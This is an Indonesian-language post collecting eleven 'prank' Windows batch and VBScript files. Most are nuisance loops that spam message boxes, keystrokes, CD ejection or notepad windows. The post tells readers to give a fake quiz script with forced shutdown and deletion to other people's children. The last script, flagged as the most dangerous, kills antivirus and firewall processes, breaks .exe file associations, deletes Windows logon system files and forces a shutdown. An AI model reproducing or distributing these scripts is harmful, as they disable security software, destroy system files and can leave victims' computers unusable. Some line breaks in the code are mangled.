Kumpulan script jahil

1. MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS

Code:

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo, cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

==> save nama script diatas dg ekstensi *.bat

2. BIKIN SHUTDOWN + MESSAGES

Code:

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu
standar abis"

==> save nama script diatas dg ekstensi *.bat

 

3. MAININ TOMBOL CAPS LOCK

Code:

Set wshShell =wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “{CAPSLOCK}”
loop

==> save nama script diatas dg ekstensi *.vbs

4. BUKA TUTUP CD/DVD SECARA OTOMATIS

Code:

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 5000
loop

==> save nama script diatas dg ekstensi *.vbs

5. MENEKAN TOMBOL ENTER TERUS MENERUS

Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

==> save nama script diatas dg ekstensi *.vbs

6. MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS

Code:

MsgBox “Lets Rumble”
 Set wshShell =wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “{bs}”
loop

==> save nama script diatas dg ekstensi *.vbs

7. OTOMATIS NGETIK “LU JELEK BANGET SIH” DI NOTEPAD ATAU M.WORD

Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop

==> save nama script diatas dg ekstensi *.vbs

8. MEMBUKA NOTEPAD TERUS MENERUS

Code:

@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

==> save nama script diatas dg ekstensi *.bat

9. OTOMATIS BUKA NOTEPAD LALU NGETIK “APA YG LO MAU”

Code:

WScript.Sleep 180000
 WScript.Sleep 10000
 Set WshShell = WScript.CreateObject(“WScript.Shell”)
 WshShell.Run “notepad”
 WScript.Sleep 100
 WshShell.AppActivate “Notepad”
 WScript.Sleep 500
 WshShell.SendKeys “Ka”
 WScript.Sleep 500
 WshShell.SendKeys “mu ”
 WScript.Sleep 500
 WshShell.SendKeys “, je”
 WScript.Sleep 500
 WshShell.SendKeys “l ek”
 WScript.Sleep 500
 WshShell.SendKeys “am ”
 WScript.Sleep 500
 WshShell.SendKeys “at”
 WScript.Sleep 500
 WshShell.SendKeys “ya ”
 WScript.Sleep 500
 WshShell.SendKeys “P er”
 WScript.Sleep 500
 WshShell.SendKeys “ma k”
 WScript.Sleep 500
 WshShell.SendKeys “tuh”
 WScript.Sleep 500
 WshShell.SendKeys ” mu”
 WScript.Sleep 500
 WshShell.SendKeys “ka”
 WScript.Sleep 500
WshShell.SendKeys “hohoho “

==> save nama script diatas dg ekstensi *.vbs

10. BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2

Code:

@echo off
title quiz hari ini

:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

==> nah script diatas save jadi quiz.bat, lalu kasih ke anak orang… agagagagagag……..

11. YANG INI PALING BAHAYA, JANGAN DICOBA DI KOMPUTER KAMU 

Code:

@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”

==> save script diatas dg ekstensi *.bat